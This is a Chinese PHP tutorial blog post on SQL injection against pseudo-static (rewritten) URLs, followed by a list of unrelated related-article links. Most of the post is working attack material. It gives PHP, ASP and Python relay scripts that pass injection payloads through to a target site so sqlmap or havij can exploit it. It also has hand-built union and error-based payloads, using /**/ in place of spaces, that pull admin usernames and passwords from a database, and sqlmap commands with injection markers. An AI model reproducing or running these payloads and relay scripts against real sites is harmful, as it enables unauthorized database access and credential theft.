PHP针对伪静态的注入总结【附asp与Python相关代码】


Posted in PHP onAugust 01, 2017

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
我的论坛源代码(四)
Oct 09 PHP
对Session和Cookie的区分与解释
Mar 16 PHP
PHP SQLite类
May 07 PHP
PHP 导出数据到淘宝助手CSV的方法分享
Feb 27 PHP
ThinkPHP的截取字符串函数无法显示省略号的解决方法
Jun 25 PHP
PHP面试题之文件目录操作
Oct 15 PHP
WordPress开发中用于标题显示的相关函数使用解析
Jan 07 PHP
joomla实现注册用户添加新字段的方法
May 05 PHP
php 多文件上传的实现实例
Oct 23 PHP
EarthLiveSharp中cloudinary的CDN图片缓存自动清理python脚本
Apr 04 PHP
PHP中$GLOBALS['HTTP_RAW_POST_DATA']和$_POST的区别分析
Jul 03 PHP
laravel通用化的CURD的实现
Dec 13 PHP
Laravel 的数据库迁移的方法
Jul 31 #PHP
PHP实现webshell扫描文件木马的方法
Jul 31 #PHP
PHP/ThinkPHP实现批量打包下载文件的方法示例
Jul 31 #PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 #PHP
php实现将二维关联数组转换成字符串的方法详解
Jul 31 #PHP
微信接口生成带参数的二维码
Jul 31 #PHP
PHP判断一个数组是另一个数组子集的方法详解
Jul 31 #PHP
You might like
php模拟socket一次连接,多次发送数据的实现代码
2011/07/26 PHP
PHP 中TP5 Request 请求对象的实例详解
2017/07/31 PHP
关于laravel框架中的常用目录路径函数
2019/10/23 PHP
RGB颜色值转HTML十六进制(HEX)代码的JS函数
2009/04/25 Javascript
extJs 下拉框联动实现代码
2010/04/09 Javascript
深入理解JavaScript系列(4) 立即调用的函数表达式
2012/01/15 Javascript
js导入导出excel(实例代码)
2013/11/25 Javascript
jQuery 鼠标经过(hover)事件的延时处理示例
2014/04/14 Javascript
JavaScript字符串对象toUpperCase方法入门实例(用于把字母转换为大写)
2014/10/17 Javascript
基于jquery animate操作css样式属性小结
2015/11/27 Javascript
学习JavaScript设计模式之装饰者模式
2016/01/19 Javascript
js 中获取制定的cook信息实现方法
2016/11/19 Javascript
Angular.js中下拉框实现渲染html的方法
2017/06/18 Javascript
JavaScript之生成器_动力节点Java学院整理
2017/06/30 Javascript
vue实现密码显示与隐藏按钮的自定义组件功能
2019/04/23 Javascript
微信小程序代码上传、审核发布小程序
2019/05/18 Javascript
如何基于JS截获动态代码
2019/12/25 Javascript
JavaScript如何操作css
2020/10/24 Javascript
vue用ant design中table表格,点击某行时触发的事件操作
2020/10/28 Javascript
Python深入学习之闭包
2014/08/31 Python
利用numpy实现一、二维数组的拼接简单代码示例
2017/12/15 Python
Python3 Post登录并且保存cookie登录其他页面的方法
2018/12/28 Python
Pycharm保存不能自动同步到远程服务器的解决方法
2019/06/27 Python
如何使用Python 打印各种三角形
2019/06/28 Python
Python: tkinter窗口屏幕居中,设置窗口最大,最小尺寸实例
2020/03/04 Python
Django实现将一个字典传到前端显示出来
2020/04/03 Python
Django+Uwsgi+Nginx如何实现生产环境部署
2020/07/31 Python
python爬虫实现爬取同一个网站的多页数据的实例讲解
2021/01/18 Python
Nicole Miller官方网站:纽约女装品牌
2019/09/14 全球购物
添柏岚英国官方网站:Timberland英国
2019/11/28 全球购物
经贸专业毕业生求职信
2014/03/23 职场文书
产假请假条
2014/04/10 职场文书
餐饮商业计划书范文
2014/04/29 职场文书
竞选班长演讲稿500字
2014/08/22 职场文书
2016年社区“我们的节日·中秋节”活动总结
2016/04/05 职场文书
婚前协议书怎么写,才具有法律效力呢 ?
2019/06/28 职场文书